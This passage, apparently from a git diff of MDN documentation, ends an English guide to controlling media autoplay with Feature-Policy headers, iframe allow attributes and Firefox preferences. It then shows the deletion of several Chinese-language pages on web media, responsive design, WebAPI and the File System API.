In addition to the browser-side management and control over autoplay functionality described above, a web server can also express its willingness to allow autoplay to function. The {{Glossary("HTTP")}} {{HTTPHeader("Feature-Policy")}} header's autoplay directive is used to control which domains, if any, can be used to autoplay media. By default, the autoplay feature policy is set to 'self' (including the single quote characters), indicating that autoplay is permitted as they're hosted on the same domain as the document.

- -

You can also specify 'none' to disable autoplay entirely, '*' to allow autoplay from all domains, or one or more specific origins from which media can be automatically played. These origins are separated by space characters.

- -
-

Note: The specified feature policy applies to the document and every {{HTMLElement("iframe")}} nested within it, unless those frames include an {{htmlattrxref("allow", "iframe")}}, which sets a new feature policy for that frame and all frames nested within it.

-
- -

When using the {{htmlattrxref("allow", "iframe")}} attribute on an <iframe> to specify a feature policy for that frame and its nested frames, you can also specify the value 'src' to allow autoplay of media only from the same domain as that specified by the frame's {{htmlattrxref("src", "iframe")}} attribute.

- -

Example: Allowing autoplay only from the document's domain

- -

To use the {{HTTPHeader("Feature-Policy")}} header to only allow media to autoplay from the document's {{Glossary("origin")}}:

- -
Feature-Policy: autoplay 'self'
- -

To do the same for an {{HTMLElement("iframe")}}:

- -
<iframe src="mediaplayer.html"
-        allow="autoplay 'src'">
-</iframe>
-
- -

Example: Allowing autoplay and fullscreen mode

- -

Adding Fullscreen API permission to the previous example results in a Feature-Policy header like the following if fullscreen access is allowed regardless of the domain; a domain restriction can be added as well as needed.

- -
Feature-Policy: autoplay 'self'; fullscreen
- -

The same permissions, grated using the <iframe> element's allow property, look like this:

- -
<iframe src="mediaplayer.html"
-        allow="autoplay 'src'; fullscreen">
-</iframe>
-
- -

Example: Allowing autoplay from specific sources

- -

The Feature-Policy header to allow media to be played from both the document's (or <iframe>'s) own domain and https://example.media looks like this:

- -
Feature-Policy: autoplay 'self' https://example.media
- -

An {{HTMLElement("iframe")}} can be written to specify that this autoplay policy should be applied to itself and any child frames would be written thusly:

- -
<iframe width="300" height="200"
-        src="mediaplayer.html"
-        allow="autoplay 'src' https://example.media">
-</iframe>
-
- -

Example: Disabling autoplay

- -

Setting the autoplay feature policy to 'none' disables autoplay entirely for the document or <iframe> and all nested frames. The HTTP header is:

- -
Feature-Policy: autoplay 'none'
- -

Using the <iframe>'s allow attribute:

- -
<iframe src="mediaplayer.html"
-        allow="autoplay 'none'">
-</iframe>
-
- -

Best practices

- -

Tips and recommended best practices to help you make the most of working with autoplay are offered here.

- -

Handling autoplay failure with media controls

- -

A common use case for autoplay is to automatically begin to play a video clip that goes along with an article, an advertisement, or a preview of the page's main functionality. To autoplay videos like these, you have two options: don't have an audio track, or have an audio track but configure the {{HTMLElement("video")}} element to mute the audio by default, like this:

- -
<video src="/videos/awesomevid.webm" controls autoplay muted>
- -

This video element is configured to include the user controls (typically play/pause, scrubbing through the video's timeline, volume control, and muting); also, since the {{htmlattrxref("muted", "video")}} attribute is included, the video will autoplay but with the audio muted. The user has the option, however, of re-enabling the audio by clicking on the unmute button in the controls.

- -

Browser configuration options

- -

Browsers may have preferences that control the way autoplay works, or how autoplay blocking is handled. Here, any such preferences that may be of special significance or importance to you as a web developer are listed. These include any that may aid in testing or debugging as well as any that could be set in a way that you need to be prepared to handle.

- -

Firefox

- -
-
media.allowed-to-play.enabled
-
A Boolean preference which specifies whether or not the {{domxref("HTMLMediaElement.allowedToPlay")}} property is exposed to the web. This is currently false by default (except in nightly builds, where it's true by default). If this is false, the allowedToPlay property is missing from the HTMLMediaElement interface, and is thus not present on either {{HTMLElement("audio")}} or {{HTMLElement("video")}} elements.
-
media.autoplay.allow-extension-background-pages
-
This Boolean preference, if true, allows browser extensions' background scripts to autoplay audio media. Setting this value to false disables this capability. The default value is true.
-
media.autoplay.allow-muted
-
A Boolean preference which if true (the default) allows audio media which is currently muted to be automatically played. If this has been changed to false, media with an audio track will not be permitted to play even if muted.
-
media.autoplay.block-webaudio
-
A Boolean preference which indicates whether or not to apply autoplay blocking to the Web Audio API. The default is true.
-
media.autoplay.default
-
An integer preference which specifies whether per-domain configuration for autoplay support by default is allowed (0), blocked (1), or prompt-on-use (2). The default value is 0.
-
media.autoplay.enabled.user-gestures-needed (Nightly builds only)
-
A Boolean preference which controls whether or not detection of user gestures is allowed to override the setting of media.autoplay.default. If media.autoplay.default is not set to 0 (autoplay allowed by default), this preference being true allows autoplay of media with audio tracks anyway if the page has been activated by user gestures, and media that isn't audible is not restricted at all.
-
media.block-autoplay-until-in-foreground
-
A Boolean preference which indicates whether or not media playback is blocked when started on a background tab. The default value, true, means that even when otherwise available, autoplay won't take place until after a tab is brought to the foreground. This prevents the distracting situation in which a tab begins playing sound and the user can't find the tab among all their tabs and windows.
-
- -

See also

- - diff --git "a/files/zh-cn/web/\345\252\222\344\275\223/index.html" "b/files/zh-cn/web/\345\252\222\344\275\223/index.html" deleted file mode 100644 index 5a66bbe303..0000000000 --- "a/files/zh-cn/web/\345\252\222\344\275\223/index.html" +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Web 媒体技术 -slug: Web/媒体 -tags: - - 视频 - - 音频 -translation_of: Web/Media ---- -
- -

逐年来,Web 呈现、创建并管理音频、视频和其他媒体的能力以不断增长的步伐发展。今日有着大量的 API、HTML 元素、DOM 界面和其他不仅仅限于完成这些任务,而是为了将媒体和其他技术联合使用以实现非凡事物的特性可供使用。这篇文章列出了可能对您掌握这些技术有帮助的多种 API 与其文档链接。

- -
-
-

参考文献

- -

HTML

- -

这些文章含括了供媒体开发者使用的 HTML 特性。

- -
-
{{HTMLElement("audio")}}
-
<audio> 元素用于在 Web 上下文中播放音频。这可以用于复杂媒体的隐性目标,亦或是用户控制播放音频的可见控制。可以从 JavaScript {{domxref("HTMLAudioElement")}} 对象中访问。
-
{{HTMLElement("video")}}
-
<video> 元素是 Web 上下文中视频内容的端点。其可以简单地用于呈现视频,亦或是流式视频的目标。<video> 也可以用于连接媒体 API 和其他 HTML 与 DOM 技术,比如 {{HTMLElement("canvas")}} (用于抓取并控制框中内容),例如,可以通过 JavaScript {{domxref("HTMLVideoElement")}} 对象访问。
-
{{HTMLElement("track")}}
-
<track> 元素可以被放置在 {{HTMLElement("audio")}} 或者 {{HTMLElement("video")}} 元素内部,当在媒体播放时,以提供 WebVTT 格式化字幕或标题轨道的参考。可以通过 JavaScript {{domxref("HTMLTrackElement")}} 对象访问。
-
{{HTMLElement("source")}}
-
<source> 元素可以放在 {{HTMLElement("audio")}} 或者 {{HTMLElement("video")}} 元素内部,以指定当前显示的源媒体。可以使用多个不同格式、大小、分辨率的媒体源。可以从通过 JavaScript {{domxref("HTMLSourceElement")}} 对象中访问。
-
- -

API

- -
-
媒体捕获和流媒体 API
-
使得串流、播放和控制本地和网络媒体成为可能的 API 参考文献。包括使用本地摄像头与麦克风来抓取视频、音频和静止图片。
-
网络音频 API
-
网络音频 API 允许您生成、过滤并调节实时与预录的音频材料,并将其发送至 <audio> 元素、媒体流或磁盘中。
-
WebRTC
-
WebRTC (网页即时通信) 可以使互联网上任意两位用户在无需媒介的情况下中串流实时音频、视频和任意数据。
-
-
- -
-

指南

- -
-
Web 上的媒体技术概览
-
概览提供音频、视频播放与录制的开放网络技术和 API。若您不了解该使用哪种 API,这就是您的开始。
-
Web 设计中的媒体无障碍指南
-
在本指南中,我们将介绍 web 设计人员和开发人员创建的内容能让具有不同能力的人可以访问的方法。这个范围包括从 {{HTMLElement("image")}} 元素上简单地使用 {{htmlattrxref("alt", "img")}} 属性到为屏幕阅读者提供字幕标记的媒体。
-
Web 媒体类型和格式指南
-
关于文件类型和编解码器对于 web 上的图像、音频和视频媒体有效的指南。这包括使用何种格式处理什么内容的建议、最佳实践,以及如何提供后备方案和如何对媒体类型进行优先排序,还包括针对每个媒体容器和编解码器的一般浏览器支持信息。
-
媒体和 Web 音频 APIs 自动播放指南
-
出乎意料的自动播放媒体或音频对用户来说可能是一个不受欢迎的惊喜。虽然自动播放是有目的的,但应该谨慎使用。为了让用户控制这一点,许多浏览器现在都提供了自动播放阻塞的形式。本文是关于自动播放的指南,提供了一些技巧,告诉您何时以及如何使用它,以及如何使用浏览器优雅地处理自动播放阻塞。
-
- -
-
- -

其他主题

- -

您可能会感兴趣的相关主题,这些技术可以用有趣的方式与媒体 API 共同使用。

- -
-
Canvas API
-
Canvas API 允许您在 {{HTMLElement("canvas")}} 上绘画、操纵并改变图像内容。这样可以与媒体以多种方式使用,包括设置 <canvas> 元素作为视频播放或摄像头捕获的终点以捕获或操纵视频帧。
-
WebGL
-
WebGL 在已存在的 Canvas API 上提供了与 OpenGL ES 兼容的 API,使得在 Web 上制作强大的 3D 图像成为可能。通过一张画布,这可以用于为媒体内容添加 3D 图像。
-
WebVR
-
Web Virtual Reality API 支持虚拟现实 (VR) 设备,如 Oculus Rift 或 HTC Vive,使开发人员能够将用户的位置和移动转换为 3D 场景中的移动,然后在设备上显示。WebVR 有望逐渐被 WebXR 所取代,后者涵盖了更广泛的用例。
-
WebXR
-
WebXR 旨在最终取代 WebVR,是一种支持创建虚拟现实 (VR) 和增强现实 (AR) 内容的技术。混合现实内容可以显示在设备的屏幕上,或者是显示在目镜或耳机内。
-
-
-
diff --git "a/files/zh-cn/web/\346\274\224\347\244\272\350\257\264\346\230\216/index.html" "b/files/zh-cn/web/\346\274\224\347\244\272\350\257\264\346\230\216/index.html" deleted file mode 100644 index 2a8a22bce5..0000000000 --- "a/files/zh-cn/web/\346\274\224\347\244\272\350\257\264\346\230\216/index.html" +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: 开源 Web 技术示例 -slug: Web/演示说明 -tags: - - 2D - - 3D - - CSS - - Canvas - - Design - - HTML - - SVG - - Video -translation_of: Web/Demos_of_open_web_technologies ---- -

Mozilla 支持各种令人兴奋的开源 Web 技术,我们鼓励大家使用它们。此页面提供了有关这些技术的一些有趣演示链接。

- -

如果你知道开源 Web 技术的优秀演示或者应用,就在这里(以及 英文页面)添加一个合适的链接吧。

- -

2D 图形

- -

Canvas

- - - -

SVG

- - - -

视频

- - - -

3D 图像

- -

WebGL

- - - -

虚拟现实(VR)

- - - -

CSS

- - - -

旧项目:

- - - -

变换

- - - -

游戏

- - - -

Web API

- -
    -
- -

通知 API

- - - -
    -
- -

网络音频 API

- - - -

文件 API

- - - -

其他

- - diff --git a/files/zh-cn/web_development/index.html b/files/zh-cn/web_development/index.html deleted file mode 100644 index ef8d7dac56..0000000000 --- a/files/zh-cn/web_development/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Web 开发 -slug: Web_Development -translation_of: Web/Guide -translation_of_original: Web_Development ---- -

Web 开发 包括开发网站和Web应用程序的方方面面。

-

在本文中,您将学到创建从简单到复杂的Web站点、使用最新Web技术的高度互动的网站。

- - - - - - - -
-

文档主题

-

技术

-
-
- Web 开发介绍
-
- 一份介绍怎样开发进行Web开发的指南。
-
- HTML
-
- 超文本标记语言是创建网页和其他显示在浏览器的文档的基础语言。
-
- CSS
-
- 层叠样式表的强大功能能使您在 Web 上安排布局和页面设计。
-
- JavaScript
-
- JavaScript 是最常用的 Web 应用程序开发的脚本语言;它也用于开发基于 Mozilla 的软件。
-
- DOM
-
- 文档对象模型是一个 HTML 和 XML 文档的 API,其提供了一个结构化的文档表示以供修改它的可见表示。
-
- AJAX
-
- AJAX(异步的 JavaScript 与 XML 技术)并非一种技术,而是这两种技术的组合应用;通过 JavaScript 和其他时髦的 Web 技术共同创建动态 Web 应用程序。
-
- XHTML
-
- 可扩展的超文本标记语言是一个基于 XML 的类 HTML 语言,同 HTML 相比其语法更加严格。
-
- SVG
-
- 可缩放矢量图形是一个描述二维矢量图形的 XML 标记语言。
-
-

策略

-
-
- Web 标准
-
- 了解如何使你的网站或者应用程序通过开放 Web 标准,兼容最大多数用户的访问。
-
- 响应性 Web 设计
-
- 使用 CSS 在所有硬件平台上呈现相同内容,从手机到宽屏、高分辨率的桌面显示器。
-
- 编写向前兼容的网站
-
- 建立即使浏览器更新也不会出现问题的网站的最佳实践。
-
- 移动 Web 开发
-
- 通过一些与面向桌面浏览器开发完全不同的独特方法,来开发面向移动设备的网站。
-
- Mozilla Web 开发者常见问题解答
-
- Web开发者经常提的一些问题。当然还有答案喽!
-
-

查看更多...

-
-

社区

- -

工具

- -

查看更多...

-
-

 

-

{{ languages( { "de": "de/Webentwicklung", "en": "en/Web_Development","es": "es/Desarrollo_Web", "fr": "fr/D\u00e9veloppement_Web", "it": "it/Sviluppo_Web", "ja": "ja/Web_Development", "pl": "pl/Programowanie_WWW" } ) }}

diff --git a/files/zh-cn/web_development/introduction_to_web_development/index.html b/files/zh-cn/web_development/introduction_to_web_development/index.html deleted file mode 100644 index 9178cb39f5..0000000000 --- a/files/zh-cn/web_development/introduction_to_web_development/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Web开发介绍 -slug: Web_Development/Introduction_to_Web_development -translation_of: Web/Guide/Introduction_to_Web_development ---- -

不论你是刚开始Web开发,还是想学习Web开发,这些链接都能帮助你。至少,立刻我们就能在这儿看到很多链接。

-
- Note: This page is obviously a stub; we need to generate content here.
- - - - - - - -
-

文档主题

-

暂无文章,欢迎补充。

-
-

资源

-
-
- w3schools
-
- 免费Web开发教程,从HTML入门到进阶Web技术。
-
-
-

 

diff --git a/files/zh-cn/web_development/mobile/index.html b/files/zh-cn/web_development/mobile/index.html deleted file mode 100644 index ac53f993c1..0000000000 --- a/files/zh-cn/web_development/mobile/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: 移动 Web 开发 -slug: Web_Development/Mobile -tags: - - Mobile - - NeedsTranslation - - TopicStub - - Web Development -translation_of: Web/Guide/Mobile -translation_of_original: Web_Development/Mobile ---- -

开发能在移动设备上浏览的网站需要一些方法来确保网站在移动设备上可以如同在桌面浏览器上一样正常运作。以下的文章介绍了部分方法:

- diff --git a/files/zh-cn/web_development/mobile/responsive_design/index.html b/files/zh-cn/web_development/mobile/responsive_design/index.html deleted file mode 100644 index ca256085b4..0000000000 --- a/files/zh-cn/web_development/mobile/responsive_design/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 响应式设计 -slug: Web_Development/Mobile/Responsive_design -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Guide/Responsive_design ---- -

在解决对桌面和移动环境开发网站这个问题上,与分离网站的方法相反,一种相对较新(其实相当古老)的方法渐渐流行起来:摒弃用户代理检测,而是在客户端根据浏览器的能力进行页面变化。这种方法最早是由Ethan Marcotte在他为A List Apart所写的文章中提出的,也就是我们所熟知的响应式设计。和分离网站设计方式一样,响应式设计也有自己的优势和弊端。

-

优势

-

尽管一开始这种方法并不是为了创建移动端网站而提出的,但在近一段时间以来,作为分离式移动端网站的替代者,响应式设计作为一种向移动端友好的方向迈进的方式而备受关注。

-
    -
  1. 因为无需为不同的设备维护不同的网站,这种方式节省了时间和金钱。
  2. -
  3. 响应式设计为每一个页面提供了一个单独且独有的URL。
  4. -
  5. 社会化分享统计(Facebook Likes, Tweets, +1 on Google plus)也不会割离开,因为移动端和桌面端使用的都是一个唯一的URL。
  6. -
  7. 响应式设计无需考虑用户代理的检测。
  8. -
-

这一方法有着许多非常好的方面。因为其不需要进行用户代理检测,相比于分离式网站方法,响应式设计更加具有韧性并经得起未来发展的考验。

-

弊端

-

当然,这一方法并非没有其局限性。因为内容必须在客户端使用Javascript进行调整,所以变化的内容要尽可能的最少。一般来说,当你尝试编写两组不同的Javascript来操作同一个DOM时,事情就会变得很麻烦。这也是为什么网络应用往往不采用这种方法的一个很重要的原因。

-

如果你的网站还没有支持弹性布局,那么将你的一个已有网站重新做响应式设计就必须重写你的样式。但是,这也有可能因祸得福。让你的网站成为响应式的设计,可能是一个升级和整理网站CSS的好机会。

-

最后,由于增加了脚本和样式的代码量,响应式的网站的性能可能会比分离式网站要差。尽管通过将脚本和样式进行合理的重构能够节省出一些资源,但性能的下降是无法避免的。

-

何时选择响应式设计

-

teixido_responsive-300x177.png正如上面所提到的,因为内容的改变很困难,当你使用响应式设计的时候,你无法给予用户一个有着显著区别的移动端体验,除非你大幅地增加代码的复杂度。也就是说,如果网站的桌面端和移动端内容非常相似,那么响应式设计就是一个很好的选择。那些以文档为中心的网站,他们在不同的设备上的主要用途都不会改变,比如一个产品页面,对于这种网站响应式的设计就非常的适合。你会注意到下面的例子全都是博客和宣传页面!

-

举例

-

尽管它还没有像分离式网站那么流行,但每天都有很多网站开始应用这项技术。幸运的是,因为所有的代码都是在客户端的,如果你想了解一个网站是如何实现这项技术的,只需要简单地访问该网站并查看他的页面源代码即可。下面是一些网站的例子:

- -

尽管是一个相对较新的方法,响应式设计也逐渐积累了许多良好的经验。如果你正打算设计一个响应式网站,通常值得先创建一个小屏幕的设计,使得移动端的限制因素在一开始设计的时候就被考虑到。并且,这样更利于为你的样式使用渐进增强的技术,而不是使用Media Queries来隐藏已有网站中的元素。这样的话,那些老的不支持Media Queries的浏览器依旧能显示正确的布局。根据这一方法来设计的出色示范可以看这里

-

开发移动网站的途径

-

想了解移动平台开发的相关背景和其他方法,请参看以下文章。

- -

参考

- -
- 原稿信息
-

Originally published on 27 May, 2011 on the Mozilla Webdev blog as "Approaches to Mobile Web Development Part 3 - Responsive Design", by Jason Grlicky.

-
-

 

diff --git a/files/zh-cn/webapi/index.html b/files/zh-cn/webapi/index.html deleted file mode 100644 index 4db001830f..0000000000 --- a/files/zh-cn/webapi/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: WebAPI -slug: WebAPI -translation_of: Web/API -translation_of_original: WebAPI ---- -

WebAPI指一组设备兼容套件和访问接口,它允许Web应用及其内容访问设备硬件(比如电池状态或设备振动器),同时也可以获取设备上的数据(比如日历或联系人等信息)。通过这些API,我们希望对Web应用进行扩展,实现过去只有专有平台才可以实现的功能。

- -
-

注意: 可以从packaged apps获取每一个标记的简要说明。

-
- -
-
-

通信接口

- -
-
网络信息接口(Network Information API)
-
提供当前网络连接的基本信息,如网速。
-
- -
-
蓝牙(Bluetooth)
-
提供了对设备蓝牙的底层访问。
-
移动连接接口(Mobile Connection API){{NonStandardBadge}}
-
提供设备的无线连接信息,如信号强度、操作者信息等。
-
网络状态接口(Network Stats API){{NonStandardBadge}}
-
监控数据使用并将这些信息提供给授权应用。
-
电话(Telephony) {{NonStandardBadge}}
-
允许应用处理和回应呼叫和使用内建的电话页面。
-
短信(WebSMS){{NonStandardBadge}}
-
允许应用发送和接收短信,也能访问和管理存储在设备上的短信。
-
无线连接信息接口(WiFi Information API){{NonStandardBadge}}
-
提供信号强度、当前连接网络的名称及可用的WIFI网络等信息。
-
- -

硬件访问接口

- -
-
环境光传感器接口(Ambient Light Sensor API)
-
提供对环境光传感器的访问,使应用可以分辨设备周围环境光的等级。
-
电池状态接口(Battery Status API
-
提供设备的电量信息,和设备是否在充电的信息。
-
相机接口(Camera API{{NonStandardBadge}}
-
允许应用使用内置摄像头拍摄照片、录制视频。
-
地理位置接口(Geolocation API
-
提供设备的物理位置信息。
-
指针锁定接口(Pointer Lock API)
-
使应用锁定鼠标位置,并且获取鼠标的移动而不是绝对坐标,常用于游戏中。
-
电量管理接口(Power Management API){{NonStandardBadge}}
-
使应用可以点亮或关闭屏幕、CPU、设备供电等,也提供了对资源锁定事件的侦听和检查。
-
附近接口(Proximity API)
-
允许查看设备附近的物体,比如用户的面部。
-
设备朝向接口(Device Orientation API)
-
当设备的朝向改变(横向或纵向)时提供通知。
-
屏幕朝向接口(Screen Orientation API)
-
当屏幕的朝向改变时提供通知。也可以用来指定朝向。
-
振动器接口(Vibration API)
-
允许应用在必要的时候访问设备震动器(比如游戏的触感反馈)。不推荐用于通知类的事件。通知类的事件情使用Alarm API
-
- -

查看全部...

-
- -
-

数据管理接口

- -
-
文件句柄接口(FileHandle API)
-
提供对可写文件的支持。
-
索引数据库(IndexedDB)
-
结构化数据的客户端存储,并实现高效搜索。
-
设置接口(Settings API) {{NonStandardBadge}}
-
允许设备检查、更新存储在设备上的系统设置选项。
-
- -

其他接口

- -
-
闹钟接口(Alarm API)
-
允许应用安排通知。也支持在特定时间自动启动应用。
-
应用接口(Apps API){{NonStandardBadge}}
-
开放网络应用接口提供对安装和管理网络应用的支持。也允许网络应用查询付款信息。
-
浏览器接口(Browser API){{NonStandardBadge}}
-
提供完全使用Web技术构建Web浏览器的支持。实质就是,浏览器中的浏览器。
-
- -
-
闲置接口(Idle API)
-
允许应用在用户未使用设备的时候接收通知。
-
授权接口(Permissions API){{NonStandardBadge}}
-
集中管理应用授权,用于“设置”应用。
-
单纯推送接口(Simple Push API)
-
允许平台发送提醒信息到特定应用。
-
时间/时钟接口(Time/Clock API){{NonStandardBadge}}
-
允许设置当前时间。另外,需要使用Settings API来设置时区。
-
网络活动(Web Activities){{NonStandardBadge}}
-
允许应用将一项任务委托给另外的应用。比如一个应用可以请求另外的应用来选择或创建照片。通常情况下,应当允许用户选择被委托的应用。
-
- -

WebAPI社区

- -

如果在这些接口的使用上需要帮助,这里有几种联系其他开发者的方式:

- -
    -
  • 在论坛资讯:{{DiscussionList("dev-webapi", "mozilla.dev.webapi")}}
  • -
  • 访问WebAPI IRC频道:#webapi
  • -
- -

注意网络礼仪...

- - - - -
-
diff --git a/files/zh-cn/webguide/api/file_system/index.html b/files/zh-cn/webguide/api/file_system/index.html deleted file mode 100644 index 90ace79b50..0000000000 --- a/files/zh-cn/webguide/api/file_system/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: File System API guide -slug: WebGuide/API/File_System -translation_of: Web/API/File_and_Directory_Entries_API/Introduction -translation_of_original: WebGuide/API/File_System ---- -

{{ SeeCompatTable() }}

-

The File System API simulates a local file system that web apps can navigate around. You can develop apps that can read, write, and create files and directories in a virtual, sandboxed file system.

-

The asynchronous API methods return without blocking the calling thread. The asynchronous API doesn't give you data by returning values; instead, you have to pass a callback function. The synchronous API is intended to be used inside WebWorkers.

-

For an overview of the File System API, see the following articles:

-

{{ListSubpages}}

-

Browser compatibility

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Asynchronous API13 {{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}15 {{ property_prefix("webkit") }}{{ CompatNo() }}
Synchronous API13 {{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}15 {{ property_prefix("webkit") }}{{ CompatNo() }}
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Asynchronous API{{ CompatNo() }}0.16{{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}14 {{ property_prefix("webkit") }}{{ CompatNo() }}
Synchronous API{{ CompatNo() }}0.16{{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}14 {{ property_prefix("webkit") }}{{ CompatNo() }}
-
-

See also

-
    -
  • File System API reference
  • -
  • Specification: {{ spec("http://dev.w3.org/2009/dap/file-system/pub/FileSystem/", "File API: Directories and System Specification", "WD") }}
  • -
diff --git a/files/zh-cn/webguide/api/file_system/introduction/index.html b/files/zh-cn/webguide/api/file_system/introduction/index.html deleted file mode 100644 index e26a6b3c45..0000000000 --- a/files/zh-cn/webguide/api/file_system/introduction/index.html +++ /dev/null @@ -1,210 +0,0 @@ ---- -title: 文件系统API的基本概念 -slug: WebGuide/API/File_System/Introduction -translation_of: Web/API/File_and_Directory_Entries_API/Introduction ---- -

本文是对Basic_Concepts_About_the_Filesystem_API一文的译文。

- -

文件系统API(File System API)模拟网络应用程序可以导航到的本地文件系统。你可以开发应用在一个沙盒的虚拟文件系统中读、写、创建以及索引文件。

- -

该文件系统API与其他相关的API交互。它基于文件写入API(File Writer API),而后者又基于文件API(File API)。每一个API都具有不同的功能。这些API对于网络应用而言是一个巨大的进化飞跃,使得它们能够缓存和处理大量级的数据。

- -

关于这篇文档

- -

这篇介绍讨论了文件系统API中的基本概念和术语。它将给出一个大致的蓝图并引导你理解其中的 关键概念. 它也描述了一些限制,如果你忽略了它们将额能产生安全错误。关于该API中使用的更多术语,查看定义部分. 

- -

关于文件系统API的引用文献部分,查看引用 的登陆页及其子页.

- -

该规范仍然在定义中并可能会变更.

- -

概要

- -

文件系统API包括异步同步两种接口。异步API可以应用于当你不想操作锁定UI的情况。另一方面,同步API允许简单的程序模型,但它必须和WebWorkers一起使用

- -

该API的用途

- -

文件系统API的重要性体现在以下方面:

- -
    -
  • 它允许应用拥有涉及二进制大对象(blob)的线下和存储的特性。
  • -
  • 它能通过在后台预取资源并本地缓存从而优化应用的表现。
  • -
  • 它使你网络应用的用户能够直接编辑本地文件目录中的二进制文件。
  • -
  • 它提供了一种你的用户已经熟悉的存储API,正如他们所习惯的文件系统。
  • -
- -

关于你用该api能够创建的特性示例,查看 使用示例 部分.  

- -

文件系统API和其他存储API

- -

文件系统API是一些其他存储API,例如 IndexedDB, WebSQL(已于2010年9月18日起弃用),以及AppCache等的替代品。该API对于那些处理blob的应用而言是一种更好的选择,因为:

- -
    -
  • 文件系统API提供客户端存储以应对不在数据库中存储的应用场景。如果你需要大型可变的数据块,比数据库而言它就是一种更有效率的存储解决方案。
  • -
  • 尽 管Firefox支持IndexedDB的blob存储,但是目前Chrome并非如此(Chrome仍然在对IndexedDB的blob存储做实现支 持开发中)。如果你的应用面向Chrome并且你需要存储blobs, 那么文件系统API和App Cache将是你唯一的选择。然而,AppCache存储并不是本地可变的,并且不支持细粒度的客户端管理。
  • -
  • 在Chrome中,你可以使用文件系统API和配额管理API Quota Management API, 后者允许你请求更多的存储以及管理你的存储配额。
  • -
- -

示例使用场景

- -

下面是关于你可以如何使用文件系统API的几个示例:

- -
    -
  • 有上传器的应用 -
      -
    • 当你选择一个文件或目录进行上传时,你可以赋值文件到一个本地沙盒并一次上传一个块。
    • -
    • 应用可以在一次中断后重新上传,中断可能包括浏览器被关闭或崩溃,连接中断,或电脑被关闭。
    • -
    -
  • -
  • 视频游戏或其他使用大量媒体资源的应用 -
      -
    • 应用下载一个或多个大压缩包并在本地将他们解压到一个文件目录中。
    • -
    • 应用能在后台预取资源,从而让用户能够进入下一项工作或游戏等级,而不需要等待下载。
    • -
    -
  • -
  • 音频或照片编辑器使用线下访问或本地缓存(有助于表现和速度) -
      -
    • 应用可以分段写入文件(例如只覆盖ID3/EXIF标签而不是整个文件)。
    • -
    -
  • -
  • 线下视频浏览 -
      -
    • 应用可以下载大文件(>1GB)用于以后浏览。
    • -
    • 应用可以访问只下载了部分的文件(因此你可以查看你的DVD的第一章,即使应用仍在下载剩余部分,或者当你需要取赶火车而没有完成下载时)。
    • -
    -
  • -
  • 线下网络邮件客户端 -
      -
    • 客户端下载附件并在本地存储它们。
    • -
    • 客户端缓存附件用于稍后的上传。
    • -
    -
  • -
- -

主要概念

- -

在开始使用文件系统API之前,你需要理解几个概念:

- - - -

文件系统API是一个文件系统的虚拟表现形式

- -

该API不会使你能够访问本地文件系统,该沙盒也并不是文件系统的一部分。相反,它是一个虚拟的文件系统,对于网络应用而言它就像是一个成熟的文件系统。它不需要在浏览器之外与本地文件系统产生任何关系。

- -

这 就意味着,一个网络应用和一个桌面应用不能在同时共享同一个文件。该API不能使你的网络应用脱离浏览器接触到文件,而桌面应用可以。然而,你可以从一个 网络应用中导出一个文件到桌面应用。例如,你可以使用文件API,创建blob, 重定向一个iframe指向该blob, 并调用下载管理器。

- -

文件系统API可以使用不同的存储类型

- -

一个应用可能需要临时或固定的存储。临时存储相对容易获得,因为浏览器已经提供了;但它是受到限制并可能在空间耗尽时被浏览器删除。另一方面,固定存储可以为你提供更大的空间并只能被用户删除,但它需要用户获得你的许可。

- -

使用临时存储进行缓存,而用固定存储来保存那些你希望你的应用保存的类似用户产生的或独特的数据。

- -

浏览器限定存储的配额

- -

为了防止一个网络应用占用整个磁盘,浏览器可能会给每一个应用限定配额并分配存储。

- -

存储空间如何分配以及你可以如何管理存储是浏览器的特性,因此你需要查阅浏览器各自的文档。例如,Google Chrome在规范中允许超过5MB的临时存储并支持配额管理API. 了解更多关于Chrome的实现,查看管理HTML5线下存储.

- -

文件系统API拥有异步和同步两种版本

- -

文件系统API拥有异步和同步两种版本。两种版本的API提供相同的功能和特性。事实上,它们基本相同,除了几个不同点以外。

- -
    -
  • WebWorkers. 异步的API可以在文档或WebWorkers 上下文中使用, 而同步API只能用于WebWorkers. 
  • -
  • Callbacks. 异步API不会将数据作为返回值;作为替代,你需要传递一个回调函数。你在操作中发送请求,并在回调时得到通知。相反,同步API不使用回调函数,因为API方法返回值。
  • -
  • 异步和同步API的全局方法. 异步API拥有这些全局方法:requestFileSystem()resolveLocalFileSystemURL(). 这些方法同时是window对象和worker全局作用域的成员。另一方面,同步API使用如下方法:requestFileSystemSync()resolveLocalFileSystemSyncURL(). 这些同步方法只是worker全局作用域的成员,而非window对象的。
  • -
- -

对于一些任务而言同步API可能更简单一些。它直接的,顺序编程的模块可以让代码更易于阅读。其缺点在于它必须与Web Worker交互,而后者有一些限制。

- -

当使用异步API时,务必使用错误回调

- -

当使用异步API时,务必总是使用错误回调。虽然对于相关的方法而言错误回调是可选参数,但是明智的做法是把它们当成必选的。至少,通过处理错误得到的错误信息,你可以知道发生了什么。

- -

文件系统API与其他API交互

- -

文件系统API被设计用于在网络平台上与其他API以及元素交互。例如,你可能使用到如下内容之一:

- -
    -
  • XMLHttpRequest(例如传递file和blob对象的send()方法)
  • -
  • Drag & Drop API
  • -
  • Web Workers (对于同步版的文件系统API)
  • -
  • input 元素(用于从该元素编程得到文件列表)
  • -
- -

文件系统API区分大小写

- -
文件系统API区分大小写并保留大小写。
- -

 

- -

限制

- -

